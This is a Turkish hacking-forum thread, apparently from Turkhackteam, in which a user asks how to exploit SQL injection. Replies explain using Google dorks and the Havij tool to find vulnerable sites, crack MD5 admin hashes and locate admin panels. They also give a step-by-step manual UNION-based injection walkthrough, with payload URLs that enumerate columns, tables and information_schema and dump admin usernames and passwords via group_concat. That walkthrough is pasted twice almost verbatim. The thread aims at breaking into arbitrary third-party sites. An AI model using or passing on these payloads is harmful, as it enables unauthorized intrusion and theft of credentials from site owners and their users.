Sql Açığını Bilen Birisi Var Mı?

asdaf

Üye
14 Şub 2008
148
0
Arkadaşlar son zamanlarda bakıyorum çoğu site sql ile hackleniyor ama sql açığı çeşidi o kadar fazlaki hangi yolla hacklendiğini bile anlamıyorum yardım edi kolon sayısını buluyor bu sefer kolon adlarını tablo adlarını bulamıyorum waf baybass deniyorum onlarda işe yaramıyor..

Birisi bana özelden yardım edebilir mi?
 

Zoakinx - TR

Katılımcı Üye
20 Eyl 2009
838
2
sql açığı genelde havij programında işe yarıyor sonu index.php?Id=132 mantığına dayanıyor.
tarama yapıp databaseye ulaşabilirsen databasede kayıtlı olan herşeyede ulaşabiliyorsun.

ordan find admin yoluyla tarayıp sistemden giriş yapabileceğin yeri öğrenerek sızıyorsun.
 

€r@y

Kıdemli Üye
20 Nis 2015
3,942
0
1- Havij kullanarak hack yapma
Havij programı SQL açıklı siteleri hack etmek için kullanılır peki öncelikle SQL açığı bulacağımız site arayalım google dan dork yazarak sonu id= ile biten siteleri bulacağız bunlarda sql vardır. benim kullandığım dork inurl id= isterseniz = den sonra sayıda yazabilirsiniz 1 tane site bulduk diyelim örneğin hedef site.combilmemnebilmemneid=12 siteye tıklıyoruz url nin sonuna ' koyuyoruz hata verirse sql açığı var ve bunu alıyoruz kopyalıyoruz url yi tırnağı kopyalamayın sadece urlyi havij programına yazıyoruz analiz ediyoruz analizden sonra tables diyoruz sonrada get tables diyoruz. Belirili yazılar çıkacak biz sitenin admin panelinden kullanıcı girşi ve şifreyi bulmak için user, users. admin, admins, login hangileri varsa veya bir tanesi tıklayıp get columns diyoruz. Örneğin Users denedik bize users name, users password gini şeyler çıkar veya admin denediysek user password çıkar seçiyoruz sonrada get data diyoruz. Ve bize belirli seçtiğimiz yerleri kırmayı deniyor mesela user ve password kırdı veya password uzun haneli rakamlar sayılar şeklinde çıkar bu md5 tir. Bunu md5 bölümünden kırmayı deniyoruz mesela user ve password kırdı. Peki işin önemli yeri bunları nasıl kullanacağız nereye yazıp hack edeceğiz admin panelini bulmalıyız bunun için find admin bölümünü kullanıyoruz. Ve sonrası malum.

1- Sql Açığı Manuel Bulma
Sql İnjection Çoğu Zaman s-c-r-i-p-t Kodlamalarında Yanlış Kodlama Sonucunda Oluşan Güvenlik Açığıdır, Bu Açık Sayesinde Admin Bilgilerini Ele Geçirebiliriz.
Yanlış Kodlama Php ve Asp Sistemlerde ID Değerinde Oluşur.
Başlayalım,
Sql Açığı Manuel Bulma
Sql İnjection Çoğu Zaman s-c-r-i-p-t Kodlamalarında Yanlış Kodlama Sonucunda Oluşan Güvenlik Açığıdır, Bu Açık Sayesinde Admin Bilgilerini Ele Geçirebiliriz.
Yanlış Kodlama Php ve Asp Sistemlerde ID Değerinde Oluşur.
Başlayalım,
Hedef Sitemiz ;
Php-Kodu:
Http://Www.hedefite.Org/Show.php?id=4
MySql Injection Hatası Almak İçin ID Değerinin Önüne Tırnak İşareti [****] Koyuyoruz.
Şu Şekilde;
Php-Kodu:
Http://Www.hedefSite.Org/Show.php?id=4'
Tırnağı koyup enter'a bastıktan sonra,
-Başka bir veri ekrana dökülebilir, örneğin ekrandaki bir resimse, başka bir resim, yazıysa başka bir yazı görüntülenebilir.
-Direk Mysql Injection Hatası Alınabilir, Beyaz Bir Ekran ve Orada Mysql injection Kodlarının Oluşturduğu Bir Hata Görüntüsü Alırsınız.
-Direk Sayfa İçinde Herhangi Bir Kısımda Hata Alabilirsiniz.
Neyse, Hatayı Aldık Varsayalım ve Devam Edelim.
Şimdi Komutlar Başlıyor,
"Order By ..." Komutu İle Sitenin Sisteminde Kaç Kolon Var Onu Öğrenmemiz Gerekiyor.
O da Şu Şekilde Olacak ;
Php-Kodu:
Http://Www.hedefSite.Org/Show.php?id=4 order by 1
Order By Komutunun Yanındaki "1" Sayısını Hata Alana Kadar Artırıyoruz, 20, 30'a Kadar Devam Eden Kolon Sayıları Vardır, Yılmayın. smile ifade simgesi
Şu Şekilde;
Php-Kodu:
Http://Www.hedefSite.Org/Show.php?id=4 order by 2
Php-Kodu:
Http://Www.hedefSite.Org/Show.php?id=4 order by 3
. . .
Php-Kodu:
Http://Www.hedefSite.Org/Show.php?id=4 order by 10
Gibi ~
Hata Kendini Sonunda Belli Eder Zaten, Görürsünüz Evet Bu Hata Dersiniz. Çünkü Artırdığınızda Hep Aynı Şeyler Görülür, Taa ki Hata Alana Kadar.
Onuncu Kolonu Yazdığımızda, Hata Aldığımız Varsayıyorum, Demek ki Kolon Sayımız 9.
Sıra "Union Select ..." Komutuna Geldi, Bu Komutu Öncelikle İşimize Yarayacak Kolon Numaralarını Bulmak İçin Kullanmalıyız.
Union Select Komutunu
Şu Şekilde Kullanacağız ;
Php-Kodu:
Http://Www.hedefSite.Org/Show.php?id=4 union select kaç kolonumuz varsa tek tek virgülle ayırıp yazıyoruz
9 Kolonumuz Olduğunu Varsaydık, O Halde ;
Php-Kodu:
Http://Www.hedefSite.Org/Show.php?id=-4 union select 1,2,3,4,5,6,7,8,9
Bu şekilde Komutumuzu Gireceğiz,
Küçük Bir İpucu, ID Değerinin Önüne Benim Koyduğum Gibi Tire [-] Koymayı Sakın Unutmayın, Aksi Halde Veri Dökülmeyebilir.
Kolonlarımız Ekrana Vuruldu, Ben 1 ve 3 Vurulsun İstiyorum. Nasılsa Benim Anlatımım
Bu Kolon Sayıları Bizim İşlemi Yapmamızda Ana Etmen. Bütün Verileri Bu Kolonlardan Alacağız Çünkü.
Sırada Version Alma İşlemi Var.
Version Almak İçin Elimizdeki Ekrana Vurulmuş Kolon Sayılarından Herhangi Birini Kullanabiliriz.
Şu Şekilde Yapmalıyız.
Php-Kodu:
Http://Www.hedefSite.Org/Show.php?id=-4 union select 1,2,3,4,5,6,7,8,9
Ben 3 numaralı kolon'u kullanmak İstiyorum , O Halde 3 Yerine "version()" komutunu yazıyoruz.
Şu Şekilde;
Php-Kodu:
Http://Www.hedefSite.Org/Show.php?id=-4 union select 1,2,version(),4,5,6,7,8,9
Enter'a Tıkladığımızda, Ekrana Vurulan 3 Sayısı Version'un kaç Olduğunu Gösterir Bize, Çoğu Zaman Version 5 Olur.
Version'uda Öğrendiğimize Göre Sırada Tablo Adı Alma İşlemleri Var, Ben Yine 3 Numaralı Kolonu Kullanacağım.
Tablo alma işlemini yapmak için;
3 yerine "Table_name" ve sayıların sonuna, "from information_schema.tables" komutunu yazıyoruz.
Şu Şekilde ;
Php-Kodu:
Http://Www.hedefSite.Org/Show.php?id=-4 union select 1,2,table_name,4,5,6,7,8,9 from information_schema.tables
Çoğu Zaman İlk Kolon Adı CHARACTER_SETS'tir. Diğer Kolon Adları Çoğu Zaman Görünmez, Göstermek İçin Komutların Sonuna "Limit 1,1" Komutu Ekliyoruz.
Şu Şekilde;
Php-Kodu:
Http://Www.hedefsite.Org/Show.php?id=-4 union select 1,2,table_name,4,5,6,7,8,9 from information_schema.tables limit 1,1
Limit 1,1 komutunu artırarak işimize yarayan tablo adlarını bulabiliriz.
Artırmak için Limit'in önündeki Bir'i (Kırmızı Olarak Belirttiğim) Artırabiliriz.
İşimize Yarayan Tablo İsimleri Neler Olabilir?
Php-Kodu:
Admin, Users, User, Admins, Yonetici, Ayarlar, Config, Yonetim, Login, Logins etc.
Ben Admin Olduğunu Varsayıyorum,
Şimdi Bu Admin'in Kolon Adlarını Bulmak İçin Hex'lememiz Gerekiyor, Hex İşlemini Yapan Siteleri Googleden Bulabilirsiniz
Admin'in Hexlenmiş Hali ;
Php-Kodu:
61646d696e
Şimdi Admin Tablosu Adı Altındaki Kolonları Çekebiliriz.
Kolon Adlarını Çekmek İçin Yine 3. Kolon'umuzu Kullanacağım.
Php-Kodu:
Http://Www.hedefSite.Org/Show.php?id=-4 union select 1,2,column_name,4,5,6,7,8,9 from information_schema.columns where table_name=0x61646d696e
Yani, Table ve Tables Değerlerini Column ve Columns ile Değiştireceğiz ve En Sona Limit 1,1 Komutunu Silere where table_name=0xHex'imizi yazacağız.
Hex'lenmiş Tablo Adının Önüne 0x Koymayı Sakın Unutmayın.
İlk Kolon Adımız Geldi . "ID" Olduğunu Varsayalım, Bu Bizim İşimize Yaramaz, Komutların Sonuna "Limit 1 Offset 1" Komutunu Yazarak ve Offset'i Artırarak İşimize Yarayacak Kolon Adlarını Bulabiliriz.
İşimize Yarayan Kolon Adları Neler Olabilir?
Kullanıcı Adları İçin;
Php-Kodu:
Kadi, User, Username, Usr, Name, Uname, Login etc.
Password İçin;
Php-Kodu:
Password, Passwd, Pass etc.
Ben İşimize Yarayacak Kolon Adlarının "Username ve Password" Olduklarını Varsayıyorum.
Kolon Adlarınıda Bulduğumuza Göre İşimiz Son Olarak Veri Çekmeye Kaldı.
Verimizi Çekmek İçin İşimize Yarayan Kolon Numaralarına, Yani 1 ve 3'e "group_concat(KolonAdı)" komutunu yazacağız.
Şu Şekilde Olacak ;
Php-Kodu:
Http://Www.hedefSite.Org/Show.php?id=-4 union select group_concat(Kolon Adı),2,group_concat(Kolon Adı),4,5,6,7,8,9 from Tablo Adımız
Yani ;
Php-Kodu:
Http://Www.hedefSite.Org/Show.php?id=-4 union select group_concat(Username),2,group_concat(Password),4, 5,6,7,8,9 from Admin
Bu şekilde yaptığımız takdirde tüm admin bilgileri önümüze düşecektir.
Hedef Sitemiz ;
Php-Kodu:
Http://Www.hedefite.Org/Show.php?id=4
MySql Injection Hatası Almak İçin ID Değerinin Önüne Tırnak İşareti [****] Koyuyoruz.
Şu Şekilde;
Php-Kodu:
Http://Www.hedefSite.Org/Show.php?id=4'
Tırnağı koyup enter'a bastıktan sonra,
-Başka bir veri ekrana dökülebilir, örneğin ekrandaki bir resimse, başka bir resim, yazıysa başka bir yazı görüntülenebilir.
-Direk Mysql Injection Hatası Alınabilir, Beyaz Bir Ekran ve Orada Mysql injection Kodlarının Oluşturduğu Bir Hata Görüntüsü Alırsınız.
-Direk Sayfa İçinde Herhangi Bir Kısımda Hata Alabilirsiniz.
Neyse, Hatayı Aldık Varsayalım ve Devam Edelim.
Şimdi Komutlar Başlıyor,
"Order By ..." Komutu İle Sitenin Sisteminde Kaç Kolon Var Onu Öğrenmemiz Gerekiyor.
O da Şu Şekilde Olacak ;
Php-Kodu:
Http://Www.hedefSite.Org/Show.php?id=4 order by 1
Order By Komutunun Yanındaki "1" Sayısını Hata Alana Kadar Artırıyoruz, 20, 30'a Kadar Devam Eden Kolon Sayıları Vardır, Yılmayın. smile ifade simgesi
Şu Şekilde;
Php-Kodu:
Http://Www.hedefSite.Org/Show.php?id=4 order by 2
Php-Kodu:
Http://Www.hedefSite.Org/Show.php?id=4 order by 3
. . .
Php-Kodu:
Http://Www.hedefSite.Org/Show.php?id=4 order by 10
Gibi ~
Hata Kendini Sonunda Belli Eder Zaten, Görürsünüz Evet Bu Hata Dersiniz. Çünkü Artırdığınızda Hep Aynı Şeyler Görülür, Taa ki Hata Alana Kadar.
Onuncu Kolonu Yazdığımızda, Hata Aldığımız Varsayıyorum, Demek ki Kolon Sayımız 9.
Sıra "Union Select ..." Komutuna Geldi, Bu Komutu Öncelikle İşimize Yarayacak Kolon Numaralarını Bulmak İçin Kullanmalıyız.
Union Select Komutunu
Şu Şekilde Kullanacağız ;
Php-Kodu:
Http://Www.hedefSite.Org/Show.php?id=4 union select kaç kolonumuz varsa tek tek virgülle ayırıp yazıyoruz
9 Kolonumuz Olduğunu Varsaydık, O Halde ;
Php-Kodu:
Http://Www.hedefSite.Org/Show.php?id=-4 union select 1,2,3,4,5,6,7,8,9
Bu şekilde Komutumuzu Gireceğiz,
Küçük Bir İpucu, ID Değerinin Önüne Benim Koyduğum Gibi Tire [-] Koymayı Sakın Unutmayın, Aksi Halde Veri Dökülmeyebilir.
Kolonlarımız Ekrana Vuruldu, Ben 1 ve 3 Vurulsun İstiyorum. Nasılsa Benim Anlatımım
Bu Kolon Sayıları Bizim İşlemi Yapmamızda Ana Etmen. Bütün Verileri Bu Kolonlardan Alacağız Çünkü.
Sırada Version Alma İşlemi Var.
Version Almak İçin Elimizdeki Ekrana Vurulmuş Kolon Sayılarından Herhangi Birini Kullanabiliriz.
Şu Şekilde Yapmalıyız.
Php-Kodu:
Http://Www.hedefSite.Org/Show.php?id=-4 union select 1,2,3,4,5,6,7,8,9
Ben 3 numaralı kolon'u kullanmak İstiyorum , O Halde 3 Yerine "version()" komutunu yazıyoruz.
Şu Şekilde;
Php-Kodu:
Http://Www.hedefSite.Org/Show.php?id=-4 union select 1,2,version(),4,5,6,7,8,9
Enter'a Tıkladığımızda, Ekrana Vurulan 3 Sayısı Version'un kaç Olduğunu Gösterir Bize, Çoğu Zaman Version 5 Olur.
Version'uda Öğrendiğimize Göre Sırada Tablo Adı Alma İşlemleri Var, Ben Yine 3 Numaralı Kolonu Kullanacağım.
Tablo alma işlemini yapmak için;
3 yerine "Table_name" ve sayıların sonuna, "from information_schema.tables" komutunu yazıyoruz.
Şu Şekilde ;
Php-Kodu:
Http://Www.hedefSite.Org/Show.php?id=-4 union select 1,2,table_name,4,5,6,7,8,9 from information_schema.tables
Çoğu Zaman İlk Kolon Adı CHARACTER_SETS'tir. Diğer Kolon Adları Çoğu Zaman Görünmez, Göstermek İçin Komutların Sonuna "Limit 1,1" Komutu Ekliyoruz.
Şu Şekilde;
Php-Kodu:
Http://Www.hedefsite.Org/Show.php?id=-4 union select 1,2,table_name,4,5,6,7,8,9 from information_schema.tables limit 1,1
Limit 1,1 komutunu artırarak işimize yarayan tablo adlarını bulabiliriz.
Artırmak için Limit'in önündeki Bir'i (Kırmızı Olarak Belirttiğim) Artırabiliriz.
İşimize Yarayan Tablo İsimleri Neler Olabilir?
Php-Kodu:
Admin, Users, User, Admins, Yonetici, Ayarlar, Config, Yonetim, Login, Logins etc.
Ben Admin Olduğunu Varsayıyorum,
Şimdi Bu Admin'in Kolon Adlarını Bulmak İçin Hex'lememiz Gerekiyor, Hex İşlemini Yapan Siteleri Googleden Bulabilirsiniz
Admin'in Hexlenmiş Hali ;
Php-Kodu:
61646d696e
Şimdi Admin Tablosu Adı Altındaki Kolonları Çekebiliriz.
Kolon Adlarını Çekmek İçin Yine 3. Kolon'umuzu Kullanacağım.
Php-Kodu:
Http://Www.hedefSite.Org/Show.php?id=-4 union select 1,2,column_name,4,5,6,7,8,9 from information_schema.columns where table_name=0x61646d696e
Yani, Table ve Tables Değerlerini Column ve Columns ile Değiştireceğiz ve En Sona Limit 1,1 Komutunu Silere where table_name=0xHex'imizi yazacağız.
Hex'lenmiş Tablo Adının Önüne 0x Koymayı Sakın Unutmayın.
İlk Kolon Adımız Geldi . "ID" Olduğunu Varsayalım, Bu Bizim İşimize Yaramaz, Komutların Sonuna "Limit 1 Offset 1" Komutunu Yazarak ve Offset'i Artırarak İşimize Yarayacak Kolon Adlarını Bulabiliriz.
İşimize Yarayan Kolon Adları Neler Olabilir?
Kullanıcı Adları İçin;
Php-Kodu:
Kadi, User, Username, Usr, Name, Uname, Login etc.
Password İçin;
Php-Kodu:
Password, Passwd, Pass etc.
Ben İşimize Yarayacak Kolon Adlarının "Username ve Password" Olduklarını Varsayıyorum.
Kolon Adlarınıda Bulduğumuza Göre İşimiz Son Olarak Veri Çekmeye Kaldı.
Verimizi Çekmek İçin İşimize Yarayan Kolon Numaralarına, Yani 1 ve 3'e "group_concat(KolonAdı)" komutunu yazacağız.
Şu Şekilde Olacak ;
Php-Kodu:
Http://Www.hedefSite.Org/Show.php?id=-4 union select group_concat(Kolon Adı),2,group_concat(Kolon Adı),4,5,6,7,8,9 from Tablo Adımız
Yani ;
Php-Kodu:
Http://Www.hedefSite.Org/Show.php?id=-4 union select group_concat(Username),2,group_concat(Password),4, 5,6,7,8,9 from Admin Bu şekilde yaptığımız takdirde tüm admin bilgileri önümüze düşecektir
 
Üst

Turkhackteam.org internet sitesi 5651 sayılı kanun’un 2. maddesinin 1. fıkrasının m) bendi ile aynı kanunun 5. maddesi kapsamında "Yer Sağlayıcı" konumundadır. İçerikler ön onay olmaksızın tamamen kullanıcılar tarafından oluşturulmaktadır. Turkhackteam.org; Yer sağlayıcı olarak, kullanıcılar tarafından oluşturulan içeriği ya da hukuka aykırı paylaşımı kontrol etmekle ya da araştırmakla yükümlü değildir. Türkhackteam saldırı timleri Türk sitelerine hiçbir zararlı faaliyette bulunmaz. Türkhackteam üyelerinin yaptığı bireysel hack faaliyetlerinden Türkhackteam sorumlu değildir. Sitelerinize Türkhackteam ismi kullanılarak hack faaliyetinde bulunulursa, site-sunucu erişim loglarından bu faaliyeti gerçekleştiren ip adresini tespit edip diğer kanıtlarla birlikte savcılığa suç duyurusunda bulununuz.